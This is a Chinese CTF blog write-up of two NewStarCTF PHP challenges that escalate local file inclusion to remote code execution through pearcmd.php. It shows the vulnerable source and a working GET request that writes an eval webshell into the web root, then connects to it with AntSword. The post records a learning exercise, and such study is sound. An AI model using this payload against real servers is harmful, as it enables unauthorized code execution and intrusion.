LFI to RCE [NewStarCtf]Include 🍐

记录一个没见过的RCE类型题目。先看源码:

点击查看代码
<?php
    error_reporting(0);
    if(isset($_GET['file'])) {
        $file = $_GET['file'];
        
        if(preg_match('/flag|log|session|filter|input|data/i', $file)) {
            die('hacker!');
        }
        
        include($file.".php");
        # Something in phpinfo.php!
    }
    else {
        highlight_file(__FILE__);
    }
?>
可以看到过滤了一些协议以及flag,而且在include时会在文件尾部添上.php后缀,最开始的想法时利用file协议来绕过,但是仔细想想后缀php怎么办,提示说phpinfo中有东西,看看去。


发现是假flag,到这里时我没思路了,因为协议基本都用不了。看了wp发现这个假flag是个提示,说是检查register_argc_argv这个东西,那就看看,发现这个东西是开启状态的,那就去搜搜与它相干的漏洞。搜到了LFI TO RCE之pearcmd.php利用。这个东西是pecl的类库,用于管理扩展而使用的命令行工具。在docker容器中是被默认安装的,在php7.3之前是默认安装的,7.4及以后需要指定安装。在其源码中会将$_SERVER[‘argv’]当作参数执行,这样就给了我们可以命令执行的可能,例如http://xxxxx/index.php?system+ls 会返回当前目录下东西,+为分隔符不能去掉。
所以payload为:

点击查看代码
发GET包
GET /?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[1])?>+/var/www/html/a.php
config-create是pearcmd.php的参数,用于创建默认配置文件。意思就是讲<?=eval($_POST[1])?>写到/var/www/html/路径下的a.php,没有则创建一个。
发出请求后直接上蚁剑进行连接,在根目录发现flag。又学到一招。

再做一个[NewStarCTF]IncludeTwo,进入页面给出源码

点击查看代码
<?php
error_reporting(0);
highlight_file(__FILE__);
//Can you get shell? RCE via LFI if you get some trick,this question will be so easy!
if(!preg_match("/base64|rot13|filter/i",$_GET['file']) && isset($_GET['file'])){
    include($_GET['file'].".php");
}else{
    die("Hacker!");
}
可以发现同样的套路,那就继续利用pearcmd.php。

利用tee命令是因为没有回显,将输出转到其他文件中。再访问1.php即可得到flag。

posted @   jockerliu  阅读(53)  评论(0编辑  收藏  举报
编辑推荐:
· Kafka 的“无锁哲学”:高效消息流动的背后
· 时间轮在 Netty , Kafka 中的设计与实现
· MySQL 优化利器 SHOW PROFILE 的实现原理
· 在.NET Core中使用异步多线程高效率的处理大量数据
· 聊一聊 C#前台线程 如何阻塞程序退出
阅读排行:
· 3款.NET开源、功能强大的通讯调试工具,效率提升利器!
· 用 Cursor 写出第一个程序
· 如何做好技术经理
· 【杂谈】Kafka 的“无锁哲学”:高效消息流动的背后
· 盘点5个常用的.Net依赖注入框架!
点击右上角即可分享
微信分享提示